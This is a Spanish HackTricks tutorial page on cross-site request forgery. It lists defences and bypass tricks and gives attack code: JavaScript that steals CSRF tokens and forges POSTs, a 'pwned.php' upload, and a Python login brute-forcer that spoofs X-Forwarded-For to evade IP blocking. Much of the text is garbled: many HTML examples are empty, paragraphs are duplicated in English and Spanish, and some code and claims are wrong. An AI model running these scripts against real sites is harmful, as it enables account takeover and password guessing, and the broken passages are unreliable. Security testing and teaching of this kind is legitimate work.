# CSRF (Cross Site Request Forgery)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**HackenProof es el hogar de todas las recompensas por errores de criptografía.** **Obtén recompensas sin demoras**\ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error. **Obtén experiencia en pentesting web3**\ ¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento. **Conviértete en la leyenda del hacker web3**\ Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal. [**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks! {% embed url="https://hackenproof.com/register" %} ## ¿Qué es CSRF? **Cross-site request forgery** (también conocido como CSRF) es una vulnerabilidad de seguridad web que permite a un atacante **inducir a los usuarios a realizar acciones que no desean realizar**.\ Esto se logra **haciendo que un usuario con sesión iniciada** en la plataforma víctima acceda a un sitio web controlado por el atacante y desde allí **ejecute** código JS malicioso, envíe formularios o recupere "imágenes" en la **cuenta de la víctima**. ### Requisitos Para poder aprovechar una vulnerabilidad de CSRF, primero debes **encontrar una acción relevante para abusar** (cambiar la contraseña o el correo electrónico, hacer que la víctima te siga en una red social, darte más privilegios...). La **sesión debe depender solo de cookies o del encabezado de autenticación básica HTTP**, no se puede usar ningún otro encabezado para manejar la sesión. Y finalmente, no debe haber **parámetros impredecibles** en la solicitud. Se pueden implementar varias **contramedidas** para evitar esta vulnerabilidad. ### **Defensas comunes** * [**Cookies SameSite**](hacking-with-cookies/#samesite): Si la cookie de sesión utiliza esta bandera, es posible que no puedas enviar la cookie desde sitios web arbitrarios. * [**Compartición de recursos entre orígenes**](cors-bypass.md): Dependiendo del tipo de solicitud HTTP que necesites realizar para abusar de la acción relevante, debes tener en cuenta la **política CORS del sitio víctima**. _Ten en cuenta que la política CORS no afectará si solo quieres enviar una solicitud GET o una solicitud POST desde un formulario y no necesitas leer la respuesta._ * Solicitar la **contraseña** del usuario para autorizar la acción. * Resolver un **captcha** * Leer los encabezados **Referrer** u **Origin**. Si se utiliza una expresión regular, se puede eludir, por ejemplo, con: * http://mal.net?orig=http://example.com (termina con la URL) * http://example.com.mal.net (comienza con la URL) * **Modificar** el **nombre** de los **parámetros** de la solicitud POST o GET * Usar un **token CSRF** en cada sesión. Este token debe enviarse dentro de la solicitud para confirmar la acción. Este token puede estar protegido con CORS. ### Mapa de CSRF ![](<../.gitbook/assets/image (112).png>) ## Bypass de defensas ### De POST a GET Tal vez el formulario que deseas aprovechar está preparado para enviar una **solicitud POST con un token CSRF**, pero debes **verificar** si también es **válido** enviar una solicitud GET y si se sigue **validando el token CSRF** cuando se envía una solicitud GET. ### Falta de token Algunas aplicaciones **validan correctamente el token cuando está presente pero omiten la validación si se omite el token**.\ En esta situación, el atacante puede **eliminar el parámetro completo** que contiene el token (no solo su valor) para eludir la validación y realizar un ataque CSRF. ### El token CSRF no está vinculado a la sesión del usuario Algunas aplicaciones **no validan que el token pertenezca a la misma sesión** que el usuario que realiza la solicitud. En cambio, la aplicación **mantiene un conjunto global de tokens** que ha emitido y acepta cualquier token que aparezca en este conjunto.\ En esta situación, el atacante puede iniciar sesión en la aplicación utilizando su propia cuenta, **obtener un token válido** y luego **proporcionar ese token al usuario víctima** en su ataque CSRF. ### Bypass de método Si la solicitud utiliza un **método "extraño"**, verifica si la **funcionalidad de anulación de método** está funcionando.\ Por ejemplo, si se está utilizando un método **PUT**, puedes intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Esto también puede funcionar enviando el **parámetro \_method dentro de una solicitud POST** o utilizando los **encabezados**: * _X-HTTP-Method_ * _X-HTTP-Method-Override_ * _X-Method-Override_ ### Bypass personalizado de token de encabezado Si la solicitud está agregando un **encabezado personalizado** con un **token** a la solicitud como método de protección contra CSRF, entonces: * Prueba la solicitud sin el **Token personalizado y también el encabezado**. * Prueba la solicitud con un **token diferente pero de la misma longitud**. ### El token CSRF se verifica mediante una cookie En una variación adicional de la vulnerabilidad anterior, algunas aplicaciones **duplican cada token dentro de una cookie y un parámetro de solicitud**. O **configuran una cookie CSRF** y **verifican en el backend si el token CSRF enviado es el relacionado con la cookie**. Cuando se valida la solicitud posterior, la aplicación simplemente verifica que el **token** enviado en el **parámetro de solicitud coincida** con el valor almacenado por la **cookie**.\ En esta situación, el atacante puede nuevamente realizar un ataque CSRF **si el sitio web contiene alguna vulnerabilidad que le permita configurar su cookie CSRF en la víctima como un CRLF**. En este caso, puedes configurar la cookie intentando cargar una imagen falsa y luego lanzar el ataque CSRF como en este ejemplo: ```html
``` {% hint style="info" %} Ten en cuenta que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitarás establecerle a la víctima tu sesión, y por lo tanto estarás atacándote a ti mismo. {% endhint %} ### Cambio de Content-Type Según [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar las solicitudes de preflight** utilizando el método **POST**, estos son los valores permitidos para Content-Type: * **`application/x-www-form-urlencoded`** * **`multipart/form-data`** * **`text/plain`** Sin embargo, ten en cuenta que la **lógica del servidor puede variar** dependiendo del **Content-Type** utilizado, por lo que debes probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Ejemplo (de [aquí](https://brycec.me/posts/corctf\_2021\_challenges)) de envío de datos JSON como text/plain: ```html
``` ### Bypass de solicitud de preflight de tipo de contenido application/json Como ya sabes, no puedes enviar una solicitud POST con el tipo de contenido **`application/json`** a través de un formulario HTML, y si intentas hacerlo a través de **`XMLHttpRequest`**, primero se envía una solicitud de preflight.\ Sin embargo, podrías intentar enviar los datos JSON utilizando los tipos de contenido **`text/plain`** y **`application/x-www-form-urlencoded`** solo para comprobar si el backend está utilizando los datos independientemente del tipo de contenido.\ Puedes enviar un formulario utilizando `Content-Type: text/plain` estableciendo **`enctype="text/plain"`** Si el servidor solo acepta el tipo de contenido "application/json", puedes **enviar el tipo de contenido "text/plain; application/json"** sin activar una solicitud de preflight. También podrías intentar **burlar** esta restricción utilizando un archivo flash **SWF**. Para obtener más información, [**lee este artículo**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Bypass de verificación de Referer / Origin **Evita el encabezado Referer** Algunas aplicaciones validan el encabezado Referer cuando está presente en las solicitudes, pero **omitirán la validación si el encabezado se omite**. ```markup ``` **Bypasses de Regexp** {% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} Para establecer el nombre de dominio del servidor en la URL que el Referrer va a enviar dentro de los parámetros, puedes hacer lo siguiente: ```html
```
**HackenProof es el hogar de todas las recompensas por errores de criptografía.** **Obtén recompensas sin demoras**\ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error. **Obtén experiencia en pentesting web3**\ ¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento. **Conviértete en la leyenda del hacker web3**\ Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal. [**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks! {% embed url="https://hackenproof.com/register" %} ## **Ejemplos de explotación** ### **Exfiltrando el token CSRF** Si se está utilizando un **token CSRF** como **defensa**, puedes intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o una vulnerabilidad de [**Dangling Markup**](dangling-markup-html-scriptless-injection.md). ### **GET utilizando etiquetas HTML** ```markup

404 - Page not found

The URL you are requesting is no longer available ``` Otras etiquetas HTML5 que se pueden utilizar para enviar automáticamente una solicitud GET son: ![](<../.gitbook/assets/image (530).png>) ### Solicitud GET de formulario ```markup
``` ### Solicitud de envío de formulario A common method used to submit data to a web server is through a form POST request. This type of request is typically used when submitting sensitive information, such as login credentials or payment details. Un método común utilizado para enviar datos a un servidor web es a través de una solicitud de envío de formulario (form POST request). Este tipo de solicitud se utiliza generalmente al enviar información sensible, como credenciales de inicio de sesión o detalles de pago. To make a form POST request, the client sends an HTTP POST request to the server with the form data included in the request body. The server then processes the data and responds accordingly. Para realizar una solicitud de envío de formulario, el cliente envía una solicitud HTTP POST al servidor con los datos del formulario incluidos en el cuerpo de la solicitud. Luego, el servidor procesa los datos y responde en consecuencia. In a typical scenario, the server generates a unique token, known as a CSRF token, and includes it in the form as a hidden field. When the form is submitted, the CSRF token is also sent along with the other form data. En un escenario típico, el servidor genera un token único, conocido como token CSRF, y lo incluye en el formulario como un campo oculto. Cuando se envía el formulario, el token CSRF también se envía junto con los demás datos del formulario. The server validates the CSRF token to ensure that the request is legitimate and not a result of a cross-site request forgery (CSRF) attack. If the CSRF token is missing or invalid, the server rejects the request. El servidor valida el token CSRF para asegurarse de que la solicitud sea legítima y no sea el resultado de un ataque de falsificación de solicitud entre sitios (CSRF). Si el token CSRF está ausente o es inválido, el servidor rechaza la solicitud. By including a CSRF token in the form, the server can protect against CSRF attacks by verifying that the request originated from the same website. This helps prevent malicious actors from tricking users into submitting unauthorized requests. Al incluir un token CSRF en el formulario, el servidor puede protegerse contra ataques CSRF verificando que la solicitud se originó en el mismo sitio web. Esto ayuda a prevenir que actores maliciosos engañen a los usuarios para que envíen solicitudes no autorizadas. It is important for developers to implement CSRF protection measures in their web applications to ensure the security of user data and prevent unauthorized actions. ```markup
``` ### Solicitud de envío de formulario a través de un iframe One common technique used in Cross-Site Request Forgery (CSRF) attacks is to submit a form through an iframe. This technique allows an attacker to trick a user into unknowingly submitting a form on a targeted website. To execute this attack, the attacker creates a malicious webpage that contains an iframe pointing to the target website's form submission URL. The attacker then lures the victim into visiting the malicious webpage. When the victim visits the malicious webpage, the iframe automatically submits the form on the target website, using the victim's authenticated session. Since the victim is already logged in to the target website, the form submission appears legitimate to the server. This technique can be particularly effective when combined with social engineering tactics, such as sending the victim a link to the malicious webpage via email or a messaging platform. To protect against this type of attack, web developers should implement measures such as: - Implementing anti-CSRF tokens: By including a unique token in each form submission, developers can ensure that the form is only submitted from their own website and not from a malicious source. - Implementing SameSite cookies: By setting the SameSite attribute to "Strict" or "Lax" for cookies, developers can prevent them from being sent in cross-origin requests, thereby mitigating the risk of CSRF attacks. - Implementing strong authentication and session management: By enforcing strong authentication mechanisms and properly managing user sessions, developers can reduce the risk of unauthorized form submissions. By understanding and implementing these security measures, web developers can effectively protect their websites against CSRF attacks executed through iframes. ```markup
``` ### **Solicitud POST de Ajax** En una aplicación web, las solicitudes Ajax se utilizan comúnmente para enviar y recibir datos del servidor sin tener que recargar la página. Esto se logra mediante el uso de la función `XMLHttpRequest` en JavaScript para enviar solicitudes HTTP asincrónicas. Una solicitud POST de Ajax se utiliza para enviar datos al servidor. En lugar de utilizar el método GET, que coloca los datos en la URL, el método POST envía los datos en el cuerpo de la solicitud HTTP. Aquí hay un ejemplo de cómo se puede realizar una solicitud POST de Ajax utilizando JavaScript: ```javascript var xhr = new XMLHttpRequest(); xhr.open("POST", "/endpoint", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { console.log(xhr.responseText); } }; var data = { username: "usuario", password: "contraseña" }; xhr.send(JSON.stringify(data)); ``` En este ejemplo, se crea un objeto `XMLHttpRequest` y se abre una conexión POST con el servidor en la URL "/endpoint". Luego, se establece el encabezado "Content-Type" en "application/json" para indicar que los datos se enviarán en formato JSON. El evento `onreadystatechange` se utiliza para manejar la respuesta del servidor. Si el estado de la solicitud es 4 (completado) y el estado HTTP es 200 (éxito), se muestra la respuesta del servidor en la consola. Los datos que se enviarán al servidor se definen en el objeto `data`. En este caso, se envía un objeto JSON con las propiedades "username" y "password". Al utilizar solicitudes POST de Ajax, es importante tener en cuenta la protección contra ataques CSRF (Cross-Site Request Forgery). CSRF es un tipo de ataque en el que un atacante engaña a un usuario para que realice una acción no deseada en un sitio web en el que el usuario está autenticado. Para protegerse contra CSRF, se pueden implementar medidas como el uso de tokens CSRF, que son valores únicos generados por el servidor y se incluyen en cada solicitud. El servidor verifica que el token sea válido antes de procesar la solicitud. Esto ayuda a garantizar que las solicitudes solo se realicen desde el sitio web legítimo y no desde un sitio malicioso. ```markup ``` ### Solicitud POST multipart/form-data When submitting a form on a website, the data is typically sent using the `application/x-www-form-urlencoded` content type. However, in some cases, the form may require the use of the `multipart/form-data` content type. The `multipart/form-data` content type is commonly used when uploading files or when the form contains binary data. This content type allows the data to be divided into multiple parts, each with its own set of headers. To craft a `multipart/form-data` POST request, you need to include the appropriate headers and format the data correctly. Here's an example of what the request might look like: ```http POST /submit-form HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=---------------------------1234567890 -----------------------------1234567890 Content-Disposition: form-data; name="username" john.doe -----------------------------1234567890 Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg" Content-Type: image/jpeg [Binary data of the image] -----------------------------1234567890-- ``` In the example above, the request starts with the usual HTTP headers, including the `Content-Type` header specifying the `multipart/form-data` content type. The `boundary` parameter is used to separate the different parts of the request. Each part of the request starts with a boundary line, followed by the headers specific to that part. In this example, there are two parts: one for the `username` field and another for the `profile_picture` field. The `Content-Disposition` header specifies the name of the field, and in the case of the `profile_picture` field, it also includes the filename. After the headers, the actual data is included. For text fields like `username`, the data is simply the field value. For file uploads, the data is the binary content of the file. Finally, the request ends with a boundary line followed by two hyphens (`--`) to indicate the end of the request. By understanding how to craft a `multipart/form-data` POST request, you can effectively interact with web forms that require this content type, including those that involve file uploads. ```javascript myFormData = new FormData(); var blob = new Blob([""], { type: "text/text"}); myFormData.append("newAttachment", blob, "pwned.php"); fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: {"Content-Type": "application/x-www-form-urlencoded"}, mode: "no-cors" }); ``` ### Solicitud POST multipart/form-data v2 In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request. This technique is commonly used to exploit web applications that do not implement proper CSRF protection. En esta técnica, exploraremos cómo realizar un ataque de falsificación de solicitud entre sitios (CSRF) utilizando una solicitud POST multipart/form-data. Esta técnica se utiliza comúnmente para explotar aplicaciones web que no implementan una protección adecuada contra CSRF. #### Overview The multipart/form-data content type is commonly used for file uploads and form submissions that contain binary data. It allows the client to send multiple parts of data in a single request. El tipo de contenido multipart/form-data se utiliza comúnmente para cargar archivos y enviar formularios que contienen datos binarios. Permite al cliente enviar varias partes de datos en una sola solicitud. #### Exploiting CSRF using multipart/form-data To exploit CSRF using a multipart/form-data POST request, we need to create a form that submits the desired request to the target application. This form should include all the necessary fields and values required by the target application. Para explotar CSRF utilizando una solicitud POST multipart/form-data, debemos crear un formulario que envíe la solicitud deseada a la aplicación objetivo. Este formulario debe incluir todos los campos y valores necesarios requeridos por la aplicación objetivo. Once the form is created, we can host it on a website under our control. We can then trick the victim into visiting this website, which will automatically submit the form in the background without their knowledge. Una vez creado el formulario, podemos alojarlo en un sitio web bajo nuestro control. Luego, podemos engañar a la víctima para que visite este sitio web, lo que enviará automáticamente el formulario en segundo plano sin su conocimiento. When the victim visits our website, the form will be submitted to the target application using their authenticated session. This allows us to perform actions on behalf of the victim without their consent. Cuando la víctima visita nuestro sitio web, el formulario se enviará a la aplicación objetivo utilizando su sesión autenticada. Esto nos permite realizar acciones en nombre de la víctima sin su consentimiento. #### Conclusion Exploiting CSRF vulnerabilities using multipart/form-data POST requests can be a powerful technique in a hacker's arsenal. It allows attackers to perform unauthorized actions on behalf of unsuspecting victims. Therefore, it is crucial for web applications to implement proper CSRF protection mechanisms to prevent such attacks. Explotar vulnerabilidades de CSRF utilizando solicitudes POST multipart/form-data puede ser una técnica poderosa en el arsenal de un hacker. Permite a los atacantes realizar acciones no autorizadas en nombre de víctimas desprevenidas. Por lo tanto, es crucial que las aplicaciones web implementen mecanismos adecuados de protección contra CSRF para prevenir este tipo de ataques. ```javascript var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.open("POST", url, true); // MIME POST request. xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); xhr.setRequestHeader("Content-Length", fileSize); var body = "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n'; body += "Content-Type: " + ctype + "\r\n\r\n"; body += fileData + "\r\n"; body += "--" + boundary + "--"; //xhr.send(body); xhr.sendAsBinary(body); ``` ### Solicitud POST de formulario desde un iframe When an HTML form is submitted, the browser sends a POST request to the server with the form data. This can be exploited in a Cross-Site Request Forgery (CSRF) attack by tricking a user into submitting a form without their knowledge or consent. Cuando se envía un formulario HTML, el navegador envía una solicitud POST al servidor con los datos del formulario. Esto puede ser explotado en un ataque de falsificación de solicitud entre sitios (CSRF) al engañar a un usuario para que envíe un formulario sin su conocimiento o consentimiento. To perform a CSRF attack using an iframe, an attacker can create a webpage with an invisible iframe that loads a target website containing a vulnerable form. The attacker can then use JavaScript to automatically submit the form within the iframe, sending the POST request to the target website. Para realizar un ataque CSRF utilizando un iframe, un atacante puede crear una página web con un iframe invisible que cargue un sitio web objetivo que contenga un formulario vulnerable. Luego, el atacante puede usar JavaScript para enviar automáticamente el formulario dentro del iframe, enviando la solicitud POST al sitio web objetivo. The victim, who is logged into the target website, visits the attacker's webpage. Since the iframe is invisible, the victim is unaware that their browser is submitting a form on their behalf. The POST request is sent with the victim's session cookies, allowing the attacker to perform actions on behalf of the victim. La víctima, que ha iniciado sesión en el sitio web objetivo, visita la página web del atacante. Dado que el iframe es invisible, la víctima no se da cuenta de que su navegador está enviando un formulario en su nombre. La solicitud POST se envía con las cookies de sesión de la víctima, lo que permite al atacante realizar acciones en nombre de la víctima. To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, which are unique tokens embedded in forms to verify the authenticity of the request. Additionally, web browsers can implement same-origin policies to restrict the execution of scripts within iframes. Para protegerse contra ataques CSRF, los desarrolladores web deben implementar medidas como el uso de tokens anti-CSRF, que son tokens únicos incrustados en formularios para verificar la autenticidad de la solicitud. Además, los navegadores web pueden implementar políticas de mismo origen para restringir la ejecución de scripts dentro de iframes. ```markup <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Robar el token CSRF y enviar una solicitud POST** En un ataque de falsificación de solicitud entre sitios (CSRF), el objetivo es engañar al usuario para que realice una acción no deseada en un sitio web en el que ya está autenticado. Para llevar a cabo este ataque, es necesario robar el token CSRF del usuario y luego enviar una solicitud POST utilizando ese token. Aquí hay un ejemplo de cómo se puede realizar este ataque: 1. Obtener el token CSRF: El token CSRF se encuentra generalmente en una cookie o en una etiqueta oculta en el formulario. Utilizando técnicas de ingeniería social o de inyección de código, se puede obtener este token del usuario. 2. Crear una solicitud POST: Una vez que se ha obtenido el token CSRF, se puede utilizar para crear una solicitud POST falsa. Esta solicitud puede contener cualquier acción no deseada, como cambiar la contraseña del usuario o realizar una compra no autorizada. 3. Enviar la solicitud POST: La solicitud POST falsa se envía al servidor web objetivo. Dado que la solicitud contiene el token CSRF válido, el servidor la considerará legítima y realizará la acción solicitada. Es importante tener en cuenta que este ataque solo es exitoso si el usuario está autenticado en el sitio web objetivo y si el sitio no implementa medidas de protección adecuadas, como la verificación del origen de las solicitudes. Para protegerse contra los ataques CSRF, los desarrolladores deben implementar medidas de seguridad, como el uso de tokens CSRF que sean únicos y aleatorios para cada sesión y la verificación del origen de las solicitudes. Los usuarios también deben ser conscientes de los posibles riesgos y evitar hacer clic en enlaces sospechosos o abrir archivos adjuntos de fuentes no confiables. ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest(); xhr.open("POST", POST_URL, true); xhr.withCredentials = true; // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // This is for debugging and can be removed xhr.onreadystatechange = function() { if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy"); } function getTokenJS() { var xhr = new XMLHttpRequest(); // This tels it to return it as a HTML document xhr.responseType = "document"; xhr.withCredentials = true; // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true); xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token"); // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value); } }; // Make the request xhr.send(null); } var GET_URL="http://google.com?param=VALUE" var POST_URL="http://google.com?param=VALUE" getTokenJS(); ``` ### **Robar el token CSRF y enviar una solicitud POST utilizando un iframe, un formulario y Ajax** El robo de tokens CSRF es una técnica común utilizada en ataques de falsificación de solicitudes entre sitios. Esta técnica aprovecha la confianza que un sitio web tiene en el navegador del usuario para realizar acciones no deseadas en nombre del usuario. Para robar el token CSRF, se puede utilizar un iframe oculto que cargue la página objetivo que contiene el token. Luego, se puede acceder al contenido del iframe y extraer el valor del token. ```html ``` Una vez que se ha robado el token CSRF, se puede utilizar para enviar una solicitud POST utilizando un formulario oculto o mediante una solicitud Ajax. ```html ``` Otra opción es utilizar una solicitud Ajax para enviar la solicitud POST con el token CSRF robado. ```javascript var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://www.sitio-objetivo.com/action', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.setRequestHeader('X-CSRF-Token', 'TOKEN_CSRF_ROBADO'); // Aquí se pueden agregar otros encabezados y datos de la solicitud xhr.send(); ``` Estas técnicas permiten a un atacante realizar acciones no autorizadas en nombre del usuario, lo que puede llevar a la modificación de datos, la ejecución de acciones no deseadas o incluso la toma de control de la cuenta del usuario. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques. ```markup
``` ### **Robar el token CSRF y enviar una solicitud POST utilizando un iframe y un formulario** Una técnica común para llevar a cabo un ataque de falsificación de solicitudes entre sitios (CSRF) es robar el token CSRF de un usuario y luego utilizarlo para enviar una solicitud POST maliciosa. Esto se puede lograr utilizando un iframe y un formulario. 1. Primero, es necesario obtener el token CSRF del usuario. Esto se puede hacer mediante ingeniería inversa o mediante la explotación de una vulnerabilidad en la aplicación web. 2. Una vez que se ha obtenido el token CSRF, se puede utilizar un iframe para cargar una página maliciosa en el navegador del usuario. El iframe debe apuntar a la URL de destino donde se realizará la solicitud POST. ```html ``` 3. Dentro de la página maliciosa cargada en el iframe, se debe incluir un formulario oculto que contenga los parámetros necesarios para la solicitud POST. Asegúrese de incluir el token CSRF robado en el formulario. ```html
``` 4. Cuando el usuario carga la página maliciosa, el formulario se enviará automáticamente debido al uso del atributo `submit`. Esto enviará la solicitud POST con los parámetros y el token CSRF robado al servidor de destino. Al utilizar esta técnica, un atacante puede engañar al usuario para que realice acciones no deseadas en su nombre, como cambiar la contraseña, realizar compras o eliminar datos. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques. ```markup ``` ### **Robar token y enviarlo usando 2 iframes** En esta técnica de CSRF, el atacante roba el token de autenticación de la víctima y lo envía a través de dos iframes. El objetivo es engañar al navegador de la víctima para que realice una solicitud no deseada en nombre del usuario autenticado. El proceso se divide en los siguientes pasos: 1. El atacante crea una página web maliciosa que contiene dos iframes. Uno de los iframes se carga con la página de destino que se desea atacar, mientras que el otro se carga con una página controlada por el atacante. 2. Cuando la víctima visita la página maliciosa, el navegador carga los iframes automáticamente. 3. El iframe controlado por el atacante realiza una solicitud GET a la página de destino, aprovechando el token de autenticación almacenado en las cookies de la víctima. 4. La página de destino recibe la solicitud y la procesa como si fuera legítima, ya que incluye el token de autenticación válido. 5. El atacante puede aprovechar esta solicitud para realizar acciones no autorizadas en nombre de la víctima, como cambiar la contraseña, realizar compras o realizar cualquier otra acción permitida por la página de destino. Es importante destacar que esta técnica solo funciona si la página de destino no implementa medidas de protección contra CSRF, como tokens de solicitud aleatorios o verificación de origen. Por lo tanto, es fundamental que los desarrolladores implementen estas medidas de seguridad para proteger sus aplicaciones web contra este tipo de ataques. ```markup
``` ### **POSTRobar token CSRF con Ajax y enviar un post con un formulario** En esta técnica, aprovechamos una vulnerabilidad de Cross-Site Request Forgery (CSRF) para robar el token CSRF de un usuario y luego enviar una solicitud POST utilizando Ajax y un formulario falso. #### **Pasos:** 1. Identificar la página objetivo que contiene la funcionalidad vulnerable de CSRF. 2. Crear un formulario HTML falso en nuestra página maliciosa con los campos necesarios para la solicitud POST que queremos enviar. 3. Utilizar Ajax para enviar una solicitud GET a la página objetivo y extraer el token CSRF del cuerpo de la respuesta. 4. Insertar el token CSRF en el formulario falso que creamos en el paso 2. 5. Utilizar Ajax para enviar una solicitud POST a la página objetivo utilizando el formulario falso y el token CSRF robado. #### **Ejemplo de código:** ```html
``` En este ejemplo, utilizamos Ajax para enviar una solicitud GET a la página objetivo y extraer el token CSRF del cuerpo de la respuesta. Luego, insertamos el token CSRF en un formulario falso y utilizamos Ajax nuevamente para enviar una solicitud POST a la página objetivo utilizando el formulario falso y el token CSRF robado. Es importante tener en cuenta que esta técnica solo funcionará si la página objetivo no implementa medidas de protección adecuadas contra CSRF, como tokens CSRF aleatorios y verificación de origen. ```markup
``` ### CSRF con Socket.IO Socket.IO es una biblioteca de JavaScript que permite la comunicación bidireccional en tiempo real entre el cliente y el servidor. Aunque Socket.IO proporciona una capa de seguridad incorporada, aún es posible que un atacante aproveche una vulnerabilidad de falsificación de solicitudes entre sitios (CSRF) para realizar acciones no deseadas en nombre del usuario. #### ¿Qué es CSRF? La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque en el que un atacante engaña a un usuario para que realice una acción no deseada en un sitio web en el que el usuario está autenticado. Esto se logra engañando al usuario para que haga clic en un enlace o botón malicioso que realiza una solicitud HTTP en segundo plano sin su conocimiento. #### CSRF con Socket.IO Socket.IO utiliza cookies para mantener la sesión del usuario y autenticar las solicitudes entrantes. Sin embargo, las cookies no son suficientes para proteger contra ataques CSRF, ya que los navegadores modernos no envían automáticamente las cookies en solicitudes realizadas a través de JavaScript. Para protegerse contra CSRF en una aplicación que utiliza Socket.IO, se deben implementar medidas adicionales. Una forma común de hacerlo es incluir un token CSRF en cada solicitud y verificar su validez en el servidor. #### Implementación de protección CSRF en Socket.IO 1. Generar un token CSRF único para cada sesión de usuario y almacenarlo en una cookie segura. 2. Incluir el token CSRF en cada solicitud enviada desde el cliente a través de Socket.IO. 3. Verificar la validez del token CSRF en el servidor antes de procesar la solicitud. Al implementar esta protección CSRF en Socket.IO, se asegura de que solo las solicitudes legítimas, que incluyen el token CSRF correcto, sean procesadas por el servidor. Cualquier solicitud sin un token válido será rechazada, lo que ayuda a prevenir ataques CSRF exitosos. Es importante tener en cuenta que la protección CSRF en Socket.IO debe ser implementada de manera adecuada y exhaustiva para garantizar la seguridad de la aplicación. Además, es recomendable seguir las mejores prácticas de seguridad en el desarrollo de aplicaciones web para minimizar el riesgo de ataques CSRF y otros tipos de vulnerabilidades. ```markup ``` ## CSRF Ataque de Fuerza Bruta en el Inicio de Sesión El código se puede utilizar para realizar un ataque de fuerza bruta en un formulario de inicio de sesión utilizando un token CSRF (también utiliza el encabezado X-Forwarded-For para intentar evadir un posible bloqueo de IP): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Herramientas * 